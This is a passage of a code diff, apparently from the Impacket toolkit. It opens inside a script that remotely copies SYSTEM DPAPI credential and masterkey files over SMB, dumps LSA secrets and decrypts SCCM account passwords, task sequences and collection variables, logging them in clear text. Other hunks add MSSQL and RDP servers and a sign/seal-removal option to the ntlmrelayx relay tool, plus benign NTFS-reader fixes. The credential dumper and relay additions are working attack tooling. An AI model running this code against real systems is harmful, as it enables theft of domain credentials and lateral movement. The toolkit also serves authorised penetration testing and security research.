type(e) is wmi.DCERPCSessionError and e.error_code == 0x8004100e: + logging.error("CCM namespace not found, this usually means there is no SCCM configuration on the machine.") + try: + iEnum.RemRelease() + iWbemServices.RemRelease() + dcom.disconnect() + except: + pass + + if len(self.sccm_secrets) == 0: + logging.info("No SCCM secrets found") + else: + logging.info("Got " + str(len(self.sccm_secrets)) + " SCCM secrets.") + + # retrieve DPAPI decryption keys using SMB (and an LSA Secrets dump if needed) + try: + bootKey = None + try: + try: + self.connect() + except Exception as e: + if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: + # SMBConnection failed. That might be because there was no way to log into the + # target system. We just have a last resort. Hope we have tickets cached and that they + # will work + logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + pass + else: + raise + + # get SYSTEM credentials (if requested) & masterkeys + share = 'C$' + cred_paths = [ + '\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials\\', + '\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Credentials\\', + ] + mk_path = '\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\' + + if self.get_creds: + for cred_path in cred_paths: + try: + files = self.__smbConnection.listPath(share, ntpath.join(cred_path, '*')) + except Exception: + logging.info(f'No credentials file found in {cred_path}') + continue + + for f in files: + if f.is_directory() == 0: + filename = f.get_longname() + # "virtualapp/didlogical" creds that we skip cause not interesting + if 'DFBE70A7E5CC19A398EBF1B96859CE5D' in filename: + continue + credential_path = ntpath.join(cred_path, filename) + logging.info(f'Credential file found: {filename}') + logging.info(f'Retrieving credential file: {credential_path}') + data = self.getFileContent(share, cred_path, filename) + if data: + self.raw_credentials[credential_path] = data + else: + logging.info("Could not get content of credential file: " + credential_path + ", skipping") + # for each credential, get corresponding masterkey file + useless_credentials = [] + for k, v in self.raw_credentials.items(): + cred = CredentialFile(v) + blob = DPAPI_BLOB(cred['Data']) + mkid = bin_to_string(blob['GuidMasterKey']) + if mkid not in self.raw_masterkeys: + logging.info("Retrieving masterkey file: " + mkid) + self.raw_masterkeys[mkid] = self.getFileContent(share, mk_path, mkid) + if self.raw_masterkeys[mkid] is None: + logging.info(f"Could not get content of masterkey file: {mkid} skipping") + useless_credentials.append(k) + for k in useless_credentials: + del self.raw_credentials[k] + + # for each SCCM secret, get corresponding masterkey file + for mkid in self.required_mks: + if mkid not in self.raw_masterkeys: + logging.info(f"Retrieving masterkey file: {mkid}") + self.raw_masterkeys[mkid] = self.getFileContent(share, mk_path, mkid) + if self.raw_masterkeys[mkid] is None: + logging.info(f"Could not get content of masterkey file: {mkid}, skipping") + + # check whether there's something left to decrypt + if len(self.raw_credentials) == 0 and len(self.sccm_secrets) == 0: + logging.info("Nothing to decrypt, quitting") + self.cleanup() + return + + # prepare to dump LSA secrets to get SYSTEM userkey if not provided + if self.__userkey is None: + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) + self.__remoteOps.enableRegistry() + if not self.__bootkey: + bootKey = self.__remoteOps.getBootKey() + else: + bootKey = unhexlify(self.__bootkey) + else: + self.key = unhexlify(self.__userkey[2:]) + except Exception as e: + self.__dumpLSA = False + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error('RemoteOperations failed: %s' % str(e)) + + # If RemoteOperations succeeded, then we can extract LSA + if self.__dumpLSA and self.key is None: + try: + self.__LSASecrets = LSASecrets(bootKey, self.__remoteOps, + throttle=self.__throttle, + perSecretCallback = self.getDPAPI_SYSTEM) + self.__LSASecrets.dumpSecrets() + logging.info('dpapi_userkey: 0x' + hexlify(self.key).decode('utf-8')) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error('LSA hashes extraction failed: %s' % str(e)) + self.cleanup() + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) + try: + self.cleanup() + except: + pass + + # decrypt collected secrets & creds + if self.key is None: + logging.error("Could not get SYSTEM userkey") + return + for k, v in self.raw_masterkeys.items(): + if v is None: + self.masterkeys[k] = None + continue + data = v + mkf = MasterKeyFile(data) + data = data[len(mkf):] + if not mkf['MasterKeyLen'] > 0: + logging.error("Masterkey file " + k + " does not contain a masterkey") + continue + mk = MasterKey(data[:mkf['MasterKeyLen']]) + data = data[len(mk):] + decryptedKey = mk.decrypt(self.key) + if not decryptedKey: + logging.error("Could not decrypt masterkey " + k) + continue + logging.info("Decrypted masterkey " + k + ": 0x" + hexlify(decryptedKey).decode('utf-8')) + self.masterkeys[k] = decryptedKey + for secret in self.sccm_secrets: + secret_type = list(secret.keys())[0] + + if secret_type == 'NAA_Credentials': + credentials = secret[secret_type] + username = list(credentials.keys())[0] + username_decrypted = self.decryptBlob(username) + password_decrypted = self.decryptBlob(credentials[username]) + if username_decrypted: + username_decrypted = username_decrypted.decode('utf-16le') + if password_decrypted: + password_decrypted = password_decrypted.decode('utf-16le') + logging.info(f'[NAA Credentials] {username_decrypted}:{password_decrypted}') + + elif secret_type == 'TS_Sequence': + decrypted = self.decryptBlob(secret[secret_type]) + if decrypted: + decrypted = decrypted.decode('utf-16le').rstrip('\x0d\x0a\x00\x0a') + logging.info(f'[Task_Sequence] {decrypted}') + + elif secret_type == 'Collection Variable': + col_variable = secret[secret_type] + name = list(col_variable.keys())[0] + value = self.decryptBlob(col_variable[name]) + if value: + value = value.decode('utf-16le') + logging.info(f'[Collection Variable] {name}:{value}') + for k, v in self.raw_credentials.items(): + cred = CredentialFile(v) + blob = DPAPI_BLOB(cred['Data']) + mkid = bin_to_string(blob['GuidMasterKey']) + key = self.masterkeys.get(mkid, None) + if key is None: + logging.info("Could not decrypt masterkey " + mkid + ", skipping credential " + k) + continue + logging.info("Decrypting credential " + k) + decrypted = blob.decrypt(key) + if decrypted is not None: + creds = CREDENTIAL_BLOB(decrypted) + creds.dump() + else: + logging.error("Could not decrypt credential file " + k) + + def cleanup(self): + logging.info('Cleaning up... ') + if self.__remoteOps: + self.__remoteOps.finish() + +# Process command-line arguments. +if __name__ == '__main__': + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Performs remote extraction of SYSTEM DPAPI credentials and SCCM client secrets.") + + parser.add_argument('-creds', action='store_true', help='Extract SYSTEM user DPAPI credentials (default: all)') + parser.add_argument('-sccm', action='store_true', help='Extract SCCM client credentials (default: all)') + parser.add_argument('-userkey', action='store', help='dpapi_userkey for SYSTEM (e.g. if previously dumped using secretsdump). ' + 'If not provided an LSA secrets dump will be performed to retrieve it.') + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-com-version', action='store', metavar = "MAJOR_VERSION.MINOR_VERSION", help='DCOM version, ' + 'format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7') + parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive') + parser.add_argument('-throttle', action='store', help='Throttle in seconds between operations', default=0, type=int) + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use' + ' the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication' + ' (128 or 256 bits)') + group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') + group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default', + help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy ' + '(RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require ' + 'privacy level by default)') + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, address = parse_target(options.target) + + if options.target_ip is None: + options.target_ip = address + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + if options.keytab is not None: + Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) + options.k = True + + if options.hashes is not None: + lmhash, nthash = options.hashes.split(':') + else: + lmhash = '' + nthash = '' + + if options.com_version is not None: + try: + major_version, minor_version = options.com_version.split('.') + COMVERSION.set_default_version(int(major_version), int(minor_version)) + except Exception: + logging.error("Wrong COMVERSION format, use dot separated integers e.g. \"5.7\"") + sys.exit(1) + + options.all = (options.sccm is False and options.creds is False) + + dumper = DumpCreds(address, username, password, domain, options) + try: + dumper.dump() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(e) diff --git a/examples/exchanger.py b/examples/exchanger.py index ad690d0702..7a56076333 100755 --- a/examples/exchanger.py +++ b/examples/exchanger.py @@ -259,6 +259,9 @@ def connect_rpc(self, remoteName, rpcHostname=''): # consistency check at target level 6.0, as specified in [MS-RPCE]. self.__dce.set_credentials(self._username, self._password, self._domain, self._lmhash, self._nthash) + if options.basic: + self._rpctransport.set_auth_type(AUTH_BASIC) + self.__dce.set_auth_level(6) self.__dce.connect() @@ -919,6 +922,7 @@ def localized_arg(bytestring): list_tables = nspi_attacks.add_parser('list-tables', help='List Address Books') list_tables.add_argument('-count', action='store_true', help='Request total number of records in each table') + parser.add_argument('-basic', action='store_true', help='Authenticate with Basic Auth instead of NTLM') dump_tables = nspi_attacks.add_parser('dump-tables', formatter_class=SmartFormatter, help='Dump Address Books') diff --git a/examples/mssqlclient.py b/examples/mssqlclient.py index 5cba9f0a25..586d20c1de 100755 --- a/examples/mssqlclient.py +++ b/examples/mssqlclient.py @@ -46,6 +46,7 @@ parser.add_argument('--host-name', action='store', default='', help='HostName property to use when connecting to the MSSQLServer') parser.add_argument('--app-name', action='store', default='', help='AppName property to use when connecting to the MSSQLServer') + parser.add_argument('--client-interface-name', action='store', default='', help='CltIntName property to use when connecting to the MSSQLServer') group = parser.add_argument_group('authentication') @@ -90,7 +91,7 @@ if options.aesKey is not None: options.k = True - ms_sql = tds.MSSQL(options.target_ip, int(options.port), remoteName, workstation_id=options.host_name, application_name=options.app_name) + ms_sql = tds.MSSQL(options.target_ip, int(options.port), remoteName, workstation_id=options.host_name, application_name=options.app_name, client_interface_name=options.client_interface_name) ms_sql.connect() try: if options.k is True: diff --git a/examples/ntfs-read.py b/examples/ntfs-read.py index 9f0329f732..78e53d713b 100755 --- a/examples/ntfs-read.py +++ b/examples/ntfs-read.py @@ -21,10 +21,7 @@ # NOTE: Lots of info (mainly the structs) taken from the NTFS-3G project.. # # ToDo: -# [] Parse the attributes list attribute. It is unknown what would happen now if -# we face a highly fragmented file that will have many attributes that won't fit -# in the MFT Record. -# [] Support compressed, encrypted and sparse files +# [] Support compressed, encrypted files # from __future__ import division @@ -306,6 +303,17 @@ class NTFS_DATA_RUN(Structure): ('LastVCN','> 4 + vcn = 0 + prevLcn = 0 # LCN is delta-encoded, track previous - length = value[:lengthBytes] - length = struct.unpack('> 4 - dr['LCN'] = LCN+LCNOffset - dr['Clusters'] = length - dr['StartVCN'] = VCN - dr['LastVCN'] = VCN + length -1 + # Parse cluster count (length) + if len(data) < lengthBytes: + break + clusterCount = struct.unpack('= dr['StartVCN']) and (vcn <= dr['LastVCN']): + if clustersLeft <= 0: + break + # Skip data runs before our target VCN + if vcn > dr['LastVCN']: + continue + # Stop if we've passed all relevant data runs + if vcn < dr['StartVCN']: + break - vcnsToRead = dr['LastVCN'] - vcn + 1 + # Calculate how many clusters to read from this data run + clustersInRun = dr['LastVCN'] - vcn + 1 + clustersToRead = min(clustersLeft, clustersInRun) - # Are we requesting to read more data outside this DataRun? - if numOfClusters > vcnsToRead: - # Yes - clustersToRead = vcnsToRead - else: - clustersToRead = numOfClusters + # For sparse runs, LCN is -1; readClusters handles this + if dr['LCN'] == -1: + lcn = -1 + else: + lcn = dr['LCN'] + (vcn - dr['StartVCN']) + + tmpBuf = self.readClusters(clustersToRead, lcn) + if tmpBuf is None: + break + buf += tmpBuf + clustersLeft -= clustersToRead + vcn += clustersToRead - tmpBuf = self.readClusters(clustersToRead,dr['LCN']+(vcn-dr['StartVCN'])) - if tmpBuf is not None: - buf += tmpBuf - clustersLeft -= clustersToRead - vcn += clustersToRead - else: - break - if clustersLeft == 0: - break return buf - def read(self,offset,length): - logging.debug("Inside Read: offset: %d, length: %d" %(offset,length)) + def read(self, offset, length): + """Read bytes from non-resident attribute, respecting data_size and initialized_size.""" + logging.debug("Inside Read: offset: %d, length: %d" % (offset, length)) + + # Clamp read to data_size (EOF) + if offset >= self.data_size: + return b'' + length = min(length, self.data_size - offset) + + self.ClusterSize = self.NTFSVolume.BPB['BytesPerSector'] * self.NTFSVolume.BPB['SectorsPerCluster'] buf = b'' - curLength = length - self.ClusterSize = self.NTFSVolume.BPB['BytesPerSector']*self.NTFSVolume.BPB['SectorsPerCluster'] - - # Given the offset, let's calculate what VCN should be the first one to read - vcnToStart = offset // self.ClusterSize - #vcnOffset = self.ClusterSize - (offset % self.ClusterSize) - - # Do we have to read partial VCNs? - if offset % self.ClusterSize: - # Read the whole VCN - bufTemp = self.readVCN(vcnToStart, 1) - if bufTemp == b'': - # Something went wrong - return None - buf = bufTemp[offset % self.ClusterSize:] - curLength -= len(buf) - vcnToStart += 1 - - # Finished? - if curLength <= 0: - return buf[:length] - - # First partial cluster read.. now let's keep reading full clusters - # Data left to be read is bigger than a Cluster? - if curLength // self.ClusterSize: - # Yep.. so let's read full clusters - bufTemp = self.readVCN(vcnToStart, curLength // self.ClusterSize) - if bufTemp == b'': - # Something went wrong - return None - if len(bufTemp) > curLength: - # Too much data read, taking something off - buf = buf + bufTemp[:curLength] + curOffset = offset + bytesLeft = length + + while bytesLeft > 0: + vcn = curOffset // self.ClusterSize + vcnOffset = curOffset % self.ClusterSize + + # Calculate clusters needed for remaining bytes + bytesInFirstCluster = self.ClusterSize - vcnOffset + if bytesLeft <= bytesInFirstCluster: + clustersToRead = 1 else: - buf = buf + bufTemp - vcnToStart += curLength // self.ClusterSize - curLength -= len(bufTemp) + clustersToRead = 1 + ((bytesLeft - bytesInFirstCluster + self.ClusterSize - 1) // self.ClusterSize) - # Is there anything else left to be read in the last cluster? - if curLength > 0: - bufTemp = self.readVCN(vcnToStart, 1) - buf = buf + bufTemp[:curLength] + clusterData = self.readVCN(vcn, clustersToRead) + if not clusterData: + break - if buf == b'': + # Extract the portion we need + chunk = clusterData[vcnOffset:vcnOffset + bytesLeft] + buf += chunk + curOffset += len(chunk) + bytesLeft -= len(chunk) + + if len(chunk) == 0: + break + + if not buf: return None + + # Zero-fill beyond InitializedSize (OS behavior for uninitialized data) + if self.initialized_size < offset + len(buf): + validBytes = max(0, self.initialized_size - offset) + buf = buf[:validBytes] + (b'\x00' * (len(buf) - validBytes)) + + return buf + +class NonResidentDataAttribute(AttributeNonResident): + @classmethod + def _shift_runs(cls, attr, start_vcn): + if start_vcn <= 0: + return + for dr in attr.DataRuns: + dr['StartVCN'] += start_vcn + dr['LastVCN'] += start_vcn + + @classmethod + def _base_sizes(cls, attr): + return attr.NonResidentHeader['DataSize'], attr.NonResidentHeader['InitializedSize'] + + @classmethod + def _ensure_base(cls, collected, base_attr, base_data_size, base_initialized_size): + if base_attr is not None: + return base_attr, base_data_size, base_initialized_size + _, base_attr = collected[0] + base_data_size, base_initialized_size = cls._base_sizes(base_attr) + return base_attr, base_data_size, base_initialized_size + + @classmethod + def _collect_extents(cls, iNode, matches, attribute_name): + """Collect $DATA attributes from extent records, identifying the base extent.""" + collected = [] + base_attr = None + base_data_size = None + base_initialized_size = None + + for entry in matches: + extension_inode = iNode.NTFSVolume.getINode(entry.MftRecordNumber) + attr = extension_inode.searchAttribute(DATA, attribute_name) + if attr is None: + continue + collected.append((entry, attr)) + # Base extent has StartingVCN == 0 and contains authoritative sizes + if entry.StartingVCN == 0: + base_attr = attr + if isinstance(attr, AttributeNonResident): + base_data_size, base_initialized_size = cls._base_sizes(attr) + + return collected, base_attr, base_data_size, base_initialized_size + + def __init__(self, iNode, entries, attribute_name=None): + """ + Build a unified $DATA stream from multiple attribute list entries. + + Args: + iNode: Owning inode for volume access + entries: AttributeListEntry items for the target $DATA stream + attribute_name: Stream name (None for default $DATA) + """ + matches = list(entries) + if not matches: + raise ValueError('No $DATA extents found') + + # Sort extents by StartingVCN to define logical order + matches.sort(key=lambda e: e.StartingVCN) + + # Collect attributes and find base extent (StartingVCN == 0) + collected, base_attr, base_data_size, base_initialized_size = self._collect_extents( + iNode, matches, attribute_name, + ) + + if not collected: + raise ValueError('No usable $DATA extents found') + + # Ensure we have valid base sizes + base_attr, base_data_size, base_initialized_size = self._ensure_base( + collected, base_attr, base_data_size, base_initialized_size, + ) + + # Initialize from base extent + super(NonResidentDataAttribute, self).__init__(iNode, base_attr._raw_attr_data) + + if len(collected) == 1: + # Single extent - apply VCN offset if needed + entry, _ = collected[0] + self._shift_runs(self, entry.StartingVCN) else: - return buf + # Multi-extent - merge all runs with proper VCN offsets + self._merge_extents_from_collected(collected, base_data_size, base_initialized_size) + + def _merge_extents_from_collected(self, collected, data_size, init_size): + """Merge data runs from multiple extents into unified stream.""" + merged_runs = [] + for entry, attr in collected: + if not isinstance(attr, AttributeNonResident): + continue + for dr in attr.DataRuns: + new_dr = NTFS_DATA_RUN() + new_dr['LCN'] = dr['LCN'] + new_dr['Clusters'] = dr['Clusters'] + # Apply VCN offset from attribute list entry + new_dr['StartVCN'] = dr['StartVCN'] + entry.StartingVCN + new_dr['LastVCN'] = dr['LastVCN'] + entry.StartingVCN + merged_runs.append(new_dr) + + merged_runs.sort(key=lambda dr: dr['StartVCN']) + self.DataRuns = merged_runs + self.data_size = data_size + self.initialized_size = init_size + class AttributeStandardInfo: def __init__(self, attribute): @@ -619,6 +753,56 @@ def getINodeNumber(self): def dump(self): self.entry.dump() +class AttributeListEntry: + def __init__(self, entry_data): + self.EntryHeader = NTFS_ATTRIBUTE_LIST_ENTRY(entry_data) + self.AttributeType = self.EntryHeader['AttributeType'] + self.EntryLength = self.EntryHeader['EntryLength'] + self.StartingVCN = self.EntryHeader['StartingVCN'] + self.AttributeID = self.EntryHeader['AttributeID'] + raw_record = self.EntryHeader['BaseFileRecord'] + self.MftRecordNumber = raw_record & 0x0000FFFFFFFFFFFF + self.MftSequenceNumber = (raw_record >> 48) & 0xFFFF + self.AttributeName = None + name_len = self.EntryHeader['AttributeNameLength'] + if name_len > 0: + name_offset = self.EntryHeader['AttributeNameOffset'] + name_bytes = entry_data[name_offset : name_offset + (name_len * 2)] + self.AttributeName = name_bytes.decode('utf-16le') + +class AttributeList: + """Parses ATTRIBUTE_LIST attribute (can be resident or non-resident).""" + + def __init__(self, attribute): + self.attribute = attribute + self.Entries = [] + self._parseEntries() + + def _parseEntries(self): + """Parse attribute list entries from raw data.""" + # getValue() works for resident, read() for non-resident + if hasattr(self.attribute, 'getValue') and self.attribute.getValue() is not None: + data = self.attribute.getValue() + else: + data = self.attribute.read(0, self.attribute.getDataSize()) + + if not data: + return + + offset = 0 + while offset < len(data): + entry_data = data[offset:] + if len(entry_data) < 26: # Minimum entry size + break + list_entry = AttributeListEntry(entry_data) + if list_entry.EntryLength == 0: + break + self.Entries.append(list_entry) + offset += list_entry.EntryLength + + def getEntries(self): + return self.Entries + class INODE: def __init__(self, NTFSVolume): self.NTFSVolume = NTFSVolume @@ -632,6 +816,9 @@ def __init__(self, NTFSVolume): self.LastDataChangeTime = None self.FileName = None self.FileSize = 0 + # Debug counters for directory listings + self._walk_root_count = 0 + self._walk_subnode_count = 0 def isDirectory(self): return self.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT @@ -703,6 +890,12 @@ def parseAttributes(self): break attr = self.searchAttribute(FILE_NAME, None, True) + # Parse Attribute list before Index Allocation, because it might be there + attr = self.searchAttribute(ATTRIBUTE_LIST, None) + if attr is not None: + al = AttributeList(attr) + self.Attributes[ATTRIBUTE_LIST] = al + # Parse Index Allocation attr = self.searchAttribute(INDEX_ALLOCATION, u'$I30') if attr is not None: @@ -751,6 +944,25 @@ def searchAttribute(self, attributeType, attributeName, findNext = False): data = data[record.getTotalSize():] + # Look for attribute on Attribute List + if record is None and ATTRIBUTE_LIST in self.Attributes: + attr_list = self.Attributes[ATTRIBUTE_LIST] + + if attributeType == DATA: + entries = [ + entry for entry in attr_list.getEntries() + if entry.AttributeType == DATA and entry.AttributeName == attributeName + ] + try: + return NonResidentDataAttribute(self, entries, attributeName) + except ValueError: + return None + + for entry in attr_list.getEntries(): + if entry.AttributeType == attributeType and entry.AttributeName == attributeName: + extension_inode = self.NTFSVolume.getINode(entry.MftRecordNumber) + return extension_inode.searchAttribute(attributeType, attributeName) + return record def PerformFixUp(self, record, buf, numSectors): @@ -833,13 +1045,25 @@ def walkSubNodes(self, vcn): def walk(self): logging.debug("Inside Walk... ") files = [] + self._walk_root_count = 0 + self._walk_subnode_count = 0 if INDEX_ROOT in self.Attributes: ir = self.Attributes[INDEX_ROOT] if ir.getType() & FILE_NAME: for ie in ir.IndexEntries: if ie.isSubNode(): - files += self.walkSubNodes(ie.getVCN()) + logging.debug("walk: INDEX_ROOT entry points to subnode VCN %d", ie.getVCN()) + sub_files = self.walkSubNodes(ie.getVCN()) + self._walk_subnode_count += len(sub_files) + files += sub_files + else: + if len(ie.getKey()) > 0 and ie.getINodeNumber() > 16: + fn = NTFS_FILE_NAME_ATTR(ie.getKey()) + if fn['FileNameType'] != FILE_NAME_DOS: + logging.debug("walk: INDEX_ROOT inline entry %s", fn['FileName'].decode('utf-16le')) + self._walk_root_count += 1 + files.append(fn) return files else: return None @@ -967,26 +1191,36 @@ def getINode(self, iNodeNum): logging.debug("Trying to fetch inode %d" % iNodeNum) newINode = INODE(self) - recordLen = self.RecordSize - # Let's calculate where in disk this iNode should be + # Read MFT record from disk or through fragmented $MFT if self.MFTINode and iNodeNum > FIXED_MFTS: - # Fragmented $MFT - attr = self.MFTINode.searchAttribute(DATA,None) - record = attr.read(iNodeNum*self.RecordSize, self.RecordSize) + # Fragmented $MFT - read through MFT's $DATA attribute + attr = self.MFTINode.searchAttribute(DATA, None) + if attr is None: + logging.error("Cannot find MFT $DATA attribute for inode %d" % iNodeNum) + return newINode + record = attr.read(iNodeNum * self.RecordSize, self.RecordSize) else: diskPosition = self.__MFTStart + iNodeNum * self.RecordSize - self.volumeFD.seek(diskPosition,0) + self.volumeFD.seek(diskPosition, 0) record = self.volumeFD.read(recordLen) while len(record) < recordLen: - record += self.volumeFD.read(recordLen-len(record)) + record += self.volumeFD.read(recordLen - len(record)) + + if not record or len(record) < recordLen: + logging.error("Failed to read MFT record for inode %d" % iNodeNum) + return newINode mftRecord = NTFS_MFT_RECORD(record) - record = newINode.PerformFixUp(mftRecord, record, self.RecordSize//self.SectorSize) + record = newINode.PerformFixUp(mftRecord, record, self.RecordSize // self.SectorSize) + if record is None: + logging.error("FixUp failed for inode %d" % iNodeNum) + return newINode + newINode.INodeNumber = iNodeNum - newINode.AttributesRaw = record[mftRecord['AttributesOffset']-recordLen:] + newINode.AttributesRaw = record[mftRecord['AttributesOffset'] - recordLen:] newINode.parseAttributes() return newINode @@ -1063,7 +1297,7 @@ def do_cd(self, line): if res is None: logging.error("Directory not found") self.pwd = oldpwd - return + return if res.isDirectory() == 0: logging.error("Not a directory!") self.pwd = oldpwd @@ -1095,8 +1329,17 @@ def findPathName(self, pathName): def do_pwd(self,line): print(self.pwd) - def do_ls(self, line, display = True): + def do_ls(self, line, display=True): entries = self.currentINode.walk() + if entries is None: + entries = [] + logging.debug( + "ls summary for %s: total=%d index_root=%d index_allocation=%d", + self.pwd, + len(entries), + self.currentINode._walk_root_count, + self.currentINode._walk_subnode_count, + ) self.completion = [] for entry in entries: inode = INODE(self.volume) @@ -1107,7 +1350,7 @@ def do_ls(self, line, display = True): if display is True: inode.displayName() self.completion.append((inode.FileName,inode.isDirectory())) - + def complete_cd(self, text, line, begidx, endidx): return self.complete_get(text, line, begidx, endidx, include = 2) @@ -1140,9 +1383,11 @@ def complete_get(self, text, line, begidx, endidx, include = 1): def do_hexdump(self,line): return self.do_cat(line,command = hexdump) - def do_cat(self, line, command = sys.stdout.write): - pathName = line.replace('/','\\') - pathName = ntpath.normpath(ntpath.join(self.pwd,pathName)) + def do_cat(self, line, command=None): + if command is None: + command = getattr(sys.stdout, 'buffer', sys.stdout).write + pathName = line.replace('/', '\\') + pathName = ntpath.normpath(ntpath.join(self.pwd, pathName)) res = self.findPathName(pathName) if res is None: logging.error("Not found!") @@ -1150,20 +1395,34 @@ def do_cat(self, line, command = sys.stdout.write): if res.isDirectory() > 0: logging.error("It's a directory!") return - if res.isCompressed() or res.isEncrypted() or res.isSparse(): - logging.error('Cannot handle compressed/encrypted/sparse files! :(') + if res.isCompressed() or res.isEncrypted(): + logging.error('Cannot handle compressed/encrypted files! :(') return + stream = res.getStream(None) - chunks = 4096*10 - written = 0 - for i in range(stream.getDataSize()//chunks): - buf = stream.read(i*chunks, chunks) - written += len(buf) - command(buf) - if stream.getDataSize() % chunks: - buf = stream.read(written, stream.getDataSize() % chunks) - command(buf.decode('latin-1')) - logging.info("%d bytes read" % stream.getDataSize()) + if stream is None: + logging.error("Cannot read file stream!") + return + + dataSize = stream.getDataSize() + if dataSize == 0: + logging.info("0 bytes read (empty file)") + return + + chunkSize = 4096 * 10 + offset = 0 + while offset < dataSize: + toRead = min(chunkSize, dataSize - offset) + buf = stream.read(offset, toRead) + if not buf: + break + try: + command(buf) + except (BrokenPipeError, OSError): + return + offset += len(buf) + + logging.info("%d bytes read" % offset) def do_get(self, line): pathName = line.replace('/','\\') diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index f1f8ce92cc..9287ed3cfa 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -53,7 +53,7 @@ from impacket import version from impacket.examples import logger -from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer, RPCRelayServer, WinRMRelayServer, WinRMSRelayServer +from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer, RPCRelayServer, WinRMRelayServer, WinRMSRelayServer, MSSQLRelayServer, RDPRelayServer from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig, parse_listening_ports from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS @@ -206,10 +206,11 @@ def start_servers(options, threads): c.setSMBChallenge(options.ntlmchallenge) c.setSMBRPCAttack(options.rpc_attack) c.setInterfaceIp(options.interface_ip) - c.setExploitOptions(options.remove_mic, options.remove_target) + c.setExploitOptions(options.remove_mic, options.remove_target, options.remove_sign_seal) c.setWebDAVOptions(options.serve_image) c.setIsADCSAttack(options.adcs) c.setADCSOptions(options.template) + c.setEnumTemplates(options.enum_templates) c.setIsShadowCredentialsAttack(options.shadow_credentials) c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type, options.cert_outfile_path) @@ -247,6 +248,12 @@ def start_servers(options, threads): c.setListeningPort(options.raw_port) elif server is RPCRelayServer: c.setListeningPort(options.rpc_port) + elif server is MSSQLRelayServer: + c.setListeningPort(options.mssql_port) + if options.mssql_db: + c.setMSSQLDb(options.mssql_db) + elif server is RDPRelayServer: + c.setListeningPort(options.rdp_port) s = server(c) s.start() @@ -300,12 +307,16 @@ def stop_servers(threads): serversoptions.add_argument('--no-raw-server', action='store_true', help='Disables the RAW server') serversoptions.add_argument('--no-rpc-server', action='store_true', help='Disables the RPC server') serversoptions.add_argument('--no-winrm-server', action='store_true', help='Disables the WinRM server') + serversoptions.add_argument('--no-mssql-server', action='store_true', help='Disables the MSSQL server') + serversoptions.add_argument('--no-rdp-server', action='store_true', help='Disables the RDP server') parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445) parser.add_argument('--http-port', help='Port(s) to listen on HTTP server. Can specify multiple ports by separating them with `,`, and ranges with `-`. Ex: `80,8000-8010`', default="80") parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389) # ADWS parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666) parser.add_argument('--rpc-port', type=int, help='Port to listen on rpc server', default=135) + parser.add_argument('--mssql-port', type=int, help='Port to listen on mssql server', default=1433) + parser.add_argument('--rdp-port', type=int, help='Port to listen on rdp server', default=3389) parser.add_argument('--no-multirelay', action="store_true", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)') parser.add_argument('--keep-relaying', action="store_true", required=False, help='If set, keeps relaying to a target even after a successful connection on it') @@ 